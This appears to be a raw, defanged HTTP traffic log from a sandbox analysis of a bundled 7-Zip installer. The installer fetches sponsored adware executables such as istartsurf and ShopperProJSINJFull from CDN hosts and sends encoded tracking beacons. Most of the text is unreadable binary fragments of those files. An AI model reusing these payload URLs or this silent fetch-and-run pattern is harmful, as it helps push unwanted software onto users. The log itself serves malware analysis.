AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Thu, 30 Apr 20
15 09:25:13 GMT..Content-Length: 0......


GET /app/ping.ashx?e=KC46TpkJIZzvtemz1TdLVsv0gnAtPwdu62ls PLHCLDT03ZwnpMmrnnHkVEbFY2mfzS3wiEn2jlzeGB1LSz51ypNer4pG7P2P2FiKI97oD26QuzXSWi Ubm26xUzbFgx9jUckoqA0UYfqfFPqatGFoqP4Ly2z sHBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dxdnyqIR9QB0CIETjLqLYhFv4uzwtb9XYh4EMcPPJxJ3O4wQ7Tcc f5SDJZDtDdEMZBGcCMruPSLx8kpng0IpIJ HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: rep.shopper-pro.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Thu, 30 Apr 2015 09:25:15 GMT
Content-Length: 0
....



GET / HTTP/1.1
Host: VVV.google.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7ANPCRAQ
Content-Length: 258
Date: Thu, 30 Apr 2015 09:23:28 GMT
Server: GFE/2.0
Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7A
NPCRAQ">here</A>...</BODY></HTML>..HTTP/1.1 302 F
ound..Cache-Control: private..Content-Type: text/html; charset=UTF-8..
Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7ANPCRAQ..C
ontent-Length: 258..Date: Thu, 30 Apr 2015 09:23:28 GMT..Server: GFE/2
.0..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><meta 
http-equiv="content-type" content="text/html;charset=utf-8">.<TI
TLE>302 Moved</TITLE></HEAD><BODY>.<H1>302 
Moved</H1>.The document has moved.<A HREF="hXXp://VVV.google.
com.ua/?gfe_rd=cr&ei=kPRBVY-NMM7ANPCRAQ">here</A>...</
BODY></HTML>....



GET /pin.gif?e=download&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:53 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:26:53 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=downloadsuc&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:26:53 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:26:53 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;....


GET /pin.gif?e=downloadend&s=9813&i=AA41FBD0-8410-4810-8C3A-4B4E97AEB741&v=4.1.0.13&ec=0 HTTP/1.1


User-Agent: Mozilla/4.0 (compatible; en-US; NSIS; Windows NT 6.1) Firefox/26.0
Host: stat.webprotectionfree.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx/1.4.6 (Ubuntu)
Date: Thu, 30 Apr 2015 09:27:02 GMT
Content-Type: image/gif
Content-Length: 34
Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT
Connection: keep-alive
ETag: "54bfc526-22"
Accept-Ranges: bytes
GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Thu, 30 Apr 2015 09:27:02 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..



GET /7349.ashx?e=Ka qOJkckoXJDC3MBqZhBjdjsMBgf4CryMlYLXuYTiQDt2EUeZbtRVHmS0Zrngqa/u6z7Uinv/iP6pq8QHGxHC4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhdjnbMS4Pfob2H0XoEMGadmxH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVjShBrTs2JIa/IDdZRKE16DCMG eCDYdUEghD3HnQv1a/gCZD66/sdSVKFBzVQWjB05oujAfFWpTOgMsHybNe40DPXjVNm atGXV3V3SBT5Fva6iyF3lsV14HWAIjwK /B21hic3n4KXCTWlAkKjiEAAvLOJs9nriyfHHxuPN1TattnYLA2W9JfcszaBWoLYTiANl82U9PGWhOqaC0baIKqmE4PfsK33ZlkXQOixg8bksb bGU9p/0oCLL27fEIRTplcm0zAysp04BWvQzLm9JplOfGTfgq6R5SFGAEj2BWwq TzfH7GZ9QTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3cKA3e4YdyjH0= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:18 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:18 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /7349.ashx?e=AOb NGCDna nb5JQEhhcuN9Z3/UbBJaWQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMaPQkti/l2azbZrHTihd p2c9x4wF X9zLP3GhIJ9WssJ0qbfRkh1l0I8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/QbA5GlSNwLtYBu8lUTFLA92DeYRi6mthkbITKhm rg5T/rv 3Ugl9NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Thu, 30 Apr 2015 09:25:22 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Thu, 30 Apr 2015 09:25:22 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..



GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=71389-142779
User-Agent: Better Installer(Mozilla)
Host: d3cu4o8yyw81v.cloudfront.net
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 71391
Connection: keep-alive
Date: Sun, 26 Apr 2015 05:03:51 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 71389-142779/285558
Age: 1196
X-Cache: Hit from cloudfront
Via: 1.1 e13dc20cb35881b25fb296fb0383f55c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 2GiBPYTqD3_ZJYm7RYmwwRP1Ve4vRBpkMYYNZZyii4wudzMTXjhBJQ==
...IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.
L.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!.
.._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..
aG.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b......
.IO[[email protected].....].<.........g.mG
..as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<..
....8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O
;...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O...
.0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%
i~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.i
f.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!.
.cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:
Cp.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...
=.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...
Zy.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq
.zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A...
.xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h
.C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@
.n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3
G..b.....!.^....U..........Rf.f.d.,...RZ.6#M............-.W....]&g
<<< skipped >>>


GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1
Range: bytes=45577-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 27345
Connection: keep-alive
Date: Thu, 30 Apr 2015 00:10:23 GMT
x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990
Cache-Control: max-age=3600
Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT
ETag: "80764229a410305724108417115b8ce8"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 45577-72921/72922
Age: 3227
X-Cache: Hit from cloudfront
Via: 1.1 cd103c18819ef0db201c8a8cb9162bd2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: enw43BJ23DDroq4SHKla8G7-W-FzLG656GUD9zRNcM-R94WkkAN-3g==
...H..@......,...............M.S. .S.h.e.l.l. .D.l.g..............P..*
.<..........................PA.(............................P....,.
......................................*.............M.S. .S.h.e.l.l. .
D.l.g..............P(...x..........................P..................
g................P(...x...L.......P.l.e.a.s.e. .w.a.i.t. .w.h.i.l.e. .
S.e.t.u.p. .i.s. .l.o.a.d.i.n.g...........................(...........
..h.....  ............  ............00.................. .h.....  ....
 .........4...V.S._.V.E.R.S.I.O.N._.I.N.F.O...........................
..............................j.....S.t.r.i.n.g.F.i.l.e.I.n.f.o...F...
..0.4.0.9.0.0.0.0...8.....C.o.m.p.a.n.y.N.a.m.e.....W.e.b.P.r.o.t.e.c.
t.P...*.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n.........2.....F.i.l.e.V.e.r.
s.i.o.n.....4...1...0...1.3.....&.....L.e.g.a.l.C.o.p.y.r.i.g.h.t.....
..8.....P.r.o.d.u.c.t.N.a.m.e.....W.e.b.P.r.o.t.e.c.t.P...6.....P.r.o.
d.u.c.t.V.e.r.s.i.o.n...4...1...0...1.3.....D.....V.a.r.F.i.l.e.I.n.f.
o.....$.....T.r.a.n.s.l.a.t.i.o.n.............<?xml version="1.0" e
ncoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-m
icrosoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity ver
sion="1.0.0.0" processorArchitecture="*" name="Nullsoft.NSIS.exehead" 
type="win32"/><description>Nullsoft Install System v3.0b0<
/description><dependency><dependentAssembly><assembl
yIdentity type="win32" name="Microsoft.Windows.Common-Controls" versio
n="6.0.0.0" processorArchitecture="*" publicKeyToken="6595b64144cc
<<< skipped >>>


GET /home/smt_istartsurf.exe HTTP/1.1
Range: bytes=251748-
User-Agent: Better Installer(Mozilla)
Host: VVV.girlliuxiaowei.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Thu, 30 Apr 2015 09:22:05 GMT
Content-Type: application/octet-stream
Content-Length: 419580
Last-Modified: Thu, 30 Apr 2015 03:13:41 GMT
Connection: keep-alive
Expires: Sun, 03 May 2015 09:22:05 GMT
Cache-Control: max-age=259200
Content-Range: bytes 251748-671327/671328
F......u,....... ;.t........@;[email protected].(i..Y.F.....W.......F.
.>.H....N. . ..N...~.WP.u...v......E..N.. .F..=....M....t....t.....
..............I......H..@. t.Sj.j.Q.Jz..#.......t-.F..].f....j..E.P.u.
...].f.]...u......E.9}.t..N. .........%...._[^....U..........f9E......
.SV.u..M.......u..N.3.;.u..E..H.f...w.f.. ....K.....j.f9E.s..u......Y.
...E.Yt,........... .U.Rj..U.RPQ............E.t...E.8].t..M..ap.^[..3.
PPj.Pj.h...@h..G....pG....H.....H....t....t.P...pG....U.....SV.u..M...
....]......;.sT.M........~..E.Pj.S.z....M...............X.....t.......
..........}..t..E..`p.........E........~1.]..}...E.P.E.%....P.....YY..
t..E.j..E..]..E..Y...-.....*...3..]..E..A.E.j..p..U.j.RQ.M.QV.p..E.P.h
.....$....o........E.t...M.......}..t..M..ap.^[....U...=..H..u..E..H..
..w... ].j..u......YY]...U....<S.u..M.......M..E.3.;.t...;.u%.x....
..........8].t..E..`p.3.3..O...9].t..}..|..}.$....V.u.W.]..]..M..x....
....~..E.P..E.j.P......u........E..........A...;.t....E.G...}.-.}.u..M
.....}. u...G.}..E.j.Y9].u%.}.0t..E......7..<xt.<Xt..E......$.M.
9M.u..}.0u...<xt.<Xu..G.....E..}..E..R..Wj.j..U.......]........M
..E..U..M.......C.....t......0..%....tP.A.<....w... .p.;u.s;.M..M..
;M.rQw..E.;E.rG.E.9E.u.;M.u.3.;E.r3w.;u.v,.M...}..u;.E..M...uA3.9E.t..
M..M..E..E......Q.u..u.W.....3......E..U..E....E..E..E...............u
'..uT...t.9].w.r..}..w...u>9u.r9w..}..v1.o....E...."...t..M...M....
.E..t..e...]....M...u..E._^..t..M....E..t..E..M.........E..M..}..t..E.
.`p..E..U.[....U..3.P.u..u..u.9...H.u.h..H...P.=......]...........
<<< skipped >>>


GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d9b71d8f3494f867a2b514a49c4e9&uniqid=false&affiliate_id=awde7zip23008&software_id=7zip&sponsored_id=istartsurf&tokyo_csrf2_key=5962b981b5dd841405da4316fa706e5b&tokyo_csrf2_timestamp=1430385723&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.5830329402833516 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/awde7zip23008/7zip/607d9b71d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive
Cookie: __utma=1.2090475166.1430385727.1430385727.1430385727.1; __utmb=1.1.10.1430385727; __utmc=1; __utmz=1.1430385727.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:22:26 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Thu, 30 Apr 2015 09:22:26 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1
Range: bytes=219831-
User-Agent: Better Installer(Mozilla)
Host: d3zcfo8zs4s5u.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 366383
Connection: keep-alive
Date: Sun, 26 Apr 2015 07:01:19 GMT
x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671
Cache-Control: max-age=3600
Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT
ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 219831-586213/586214
Age: 1492
X-Cache: Hit from cloudfront
Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ecvWTg0lRVAoUN2ey59xdzZlZNmMZuoKTLktWFvi7eShLRfkK52JKQ==
......z..2.D.9,H...9......s....c...Pd'...~|.D.....<ZM....I...7.V.R.
.*.....2..?...q..t...U..i..*....[".c.....:C........6D.q..^.N.6\.^#.JzS
...9{..$.........>.....aC.....(....OP_nFF-Hq..\......*..o.f.-....m.
.....0...s..zB[.. ....o~.\..E..*.\.>......%..&.k>#.^k..yl...;.t=
.9D.t9.X..h.n..K.g5......P.r..C.d..O....t........b..P...E.sp!j....<
....7.......c....-..&.h.t)}....I....#X.?.. ...X#uCw.D...i.~_...I..y...
.q..;.%...S.nnf..^..y.lG..B.....3.....G..u#I..z........ ......T..t....
.....x}M..w.....B..9fX...&v..%..k...#..=2?A..Sd[K-.p.I....Z...lk.....:
.U.b..c.H_.......=..Z:.5..(.W<8.i%....m..._..-.q......k..q]d>%u7
gTl....p.0.TBI.~.1.-.L_.).84..:K.6E..:..J.v....]3..~k...,..>T.:>
...}..P..L.7..n..VE";....W.8...kd3...b{U.../..7s4..x..n..Ci...Zj.".A..
._..!....usGm[[email protected].. ..u.z.Sa.t.I.-..^ ...4......A..B....
...;n(f../{.^....f.#..2x../[X...f..-.$k......vDQ..>..*.>mZ;...9.
.. ..S.K>..~.)Jpg..vq.......~....YQ."..<%xE...4.S. 0U.k..*..". .
*....@(./.u.....{.....K^u..Q.&.....4QN..1.......-.4.|.p?..co"[.(.E..7d
D.....5%.$..P...N.oQ..cINa.. .....7...7..x ..H....,..V..MT..XC.3..~2./
h.[.1.h.;X9..P.i..P.2..$...O......d....k.....L..-g3....L...9-..u......
p... O~v.....N.{w.u...K..$]Q.J..Bl......_....%.nZ,.............-<e.
o.k.R'J..J.f.~.....y.....Y..*......?t..f.=...n.{.......F(..n...!.[7a.S
Bxr...5.Y..,Z.....hz.....1..1E'.f.'.;B.n,R.*ov...[..x.........JE\NB..^
.a........>1Q..G.;....6.h.LUI).#_!.M...WS.E.Q...h....r..Zr.G\.z.n./
..F.. ..o.T'.1h.b...a.\.4-.]2...^t....0..y..M.._.E.....x..s....B^.
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: nginx
Date: Thu, 30 Apr 2015 09:27:21 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /__utm.gif?utmwv=5.6.4&utms=10&utmn=2018223369&utmhn=installer.filebulldog.com&utmhid=1940924065&utmr=-&utmp=Installer_Init&utmht=1430386036996&utmac=UA-31676879-1&utmcc=__utma=1.58050192.1430385829.1430385829.1430385829.1;+__utmz=1.1430385829.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none);&utmjid=&utmu=qhCAAAAAAAABAAAAAAAAAAAE~ HTTP/1.1
Accept: */*
Referer: hXXp://installer.filebulldog.com/awde7zip23008/7zip/a4ef7ad5ee844541a73265af1d50735c?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: VVV.google-analytics.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Pragma: no-cache
Expires: Wed, 19 Apr 2000 11:43:00 GMT
Last-Modified: Wed, 21 Jan 2004 19:51:30 GMT
X-Content-Type-Options: nosniff
Content-Type: image/gif
Date: Wed, 29 Apr 2015 21:31:17 GMT
Server: Golfe2
Content-Length: 35
Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-revalidate
Age: 42960
Alternate-Protocol: 80:quic,p=1
GIF89a.............,...........D..;HTTP/1.1 200 OK..Pragma: no-cache..
Expires: Wed, 19 Apr 2000 11:43:00 GMT..Last-Modified: Wed, 21 Jan 200
4 19:51:30 GMT..X-Content-Type-Options: nosniff..Content-Type: image/g
if..Date: Wed, 29 Apr 2015 21:31:17 GMT..Server: Golfe2..Content-Lengt
h: 35..Cache-Control: private, no-cache, no-cache=Set-Cookie, proxy-re
validate..Age: 42960..Alternate-Protocol: 80:quic,p=1..GIF89a.........
....,...........D..;..



GET /ShopperProJSINJFull.exe HTTP/1.1
Range: bytes=0-249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Thu, 30 Apr 2015 09:25:04 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: t3oPE4gtdTHChLuuFAHzGpxc8jIeMxvqAGNhEWdgKE8ZmiyMvFymTwVgD17KnyCjaFq2pjsECwM=
x-amz-request-id: E01D94CEEAA73E80
Last-Modified: Thu, 30 Apr 2015 05:20:00 GMT
ETag: "fc39515174f5c66488d0681c42472687"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 0-249999/4738134
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1000000-1249999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



7..^....u...q..w...]....U........to../%....-.....=...u....1j.......K4.
..BU........E.j......*Iy....D'.}.g)..l....p.=.b...../.... .c.>..1y)
.Z....9>..}..R|.mU...is:F....=/....k.H..a..p.xpUH......=)rA#.R.T.^.
.......F.6s.......p]..........c\2.6....r8..>.~\3(.k..h...LJ./~...9.
..$L.....`..Z....V .a...]S#a.`Q.N .-F!.....SY...........h..m..{$,.....
....$}.H>..o>b].h....aX&$o!..N..1%@.*.Pq0x#Df..Z.....n. ..`.... 
W.f *....H..[`.I...y..8..~..=0_6..U2...`.?=..."2...98.>...v.#.;.~.8
r#q#.3..=.>...H$.h.....%..h..f...hq-/.,..5.\...n..:>....X..Hm..N
...p...8j.c6.......[Ti...A.ML*..l.A...oBK.. :....yc.I'.'QL...y.......2
.>:..Fd...2H...5..).T`...$.W...4r....L.Gm..B.[.:...-.....]....|A.\.
./ .{...E....xO.||.].....T; .....w.<....6..\.<. .5...i=:...\...'
.x....e.#n...l.>!.C}.s.w.....K??>W|..u{w.....bF.<m.F.o.......
Q}........j7L..n..YI&..v6&....e...S..E<w.....r.W.mB=D....t...w=_. .
.(r................N.$;V..?k..E..C/nf..d/..#RF. Ne......i...^........[
...em...[..V.z...*mwy....c.RI.R..%....b..E..rjrn?.t...'..: .6$.Pgh....
G.rS. Zw.G...C0wX.....w'r.&.......s....z].i...{..Z.'/E...([email protected].
d.;.!m.W .z....b...b..e@=h..$N..R6H........dte*...C.<..l....XkOM|
.....l..e.e.NJ...".BC.P..x...J.p..?=..1.-{....]v.......Yc^.z....^.32lr
.....A00..jWi.4.c0.w.....y*e.L....B....`...{l........>././.8.P.....
..F..[w....9.#.......^:]...a..y...^...V(....*O..D..F..#........1*.....
g...g...r!.Iz.........k=..O..T2sp ............}.W........N.k..S....Y.I
..d3..W...py][email protected]|i........Q...]e.o...y\..-.....r.5.;....d.`.
<<< skipped >>>

GET /ShopperProJSINJFull.exe HTTP/1.1


Range: bytes=1500000-1749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: ez1lb5-su78sj1t.netdna-ssl.com
Connection: Keep-Alive



A.y 0....&..8.oK......O.....w....^.DDraD.1.".\g"^....:$..E.F.0.......=
..,>[email protected].^......'.F8..F.m..;...........}s..;..p..
....X.f.#u4....;..4s..!.....&34......lUJ8...|....V..-.......^.}".PG...
_m|r<D...Y.(...Q.)Zj_d...1...g...........6....Y......A!.c&..ML....}
<..../..)c..s].K....&.bu[n.d...;.j..MacC.....aw`.F..w....4x....A...
T2.e.!..v..#.....S......Y./O..&.Mr.84]..]L........t.....8.7 .....n....
.BI.CW|.C._.....{[email protected]..|39.&_r.d.f..K.o......Q\.
SS.Ya...Z9....u..f ....X.v.1..R.......>.#.B...w....x...l.c~S0......
w. FTD......eq...\[email protected].*~.[........W5.:B....(. )......q....Pg..
ft.g.`.m........=...8.M...#.7..\b.....p..."p#.....:[email protected]"Cf.....U.S...*
4.j~pS.jZ.....][email protected].]....E..........lP..X6IH..;...r..(.....
...G.Mg..hw.&..QP~:Sx*..E.0...-...S.{......$9...!..H...0m.9...Nv../...
.}4g1*.V.%......z.T.m.......2H5.Nt....n..?a...V.x......WJ[...~Z}xft...
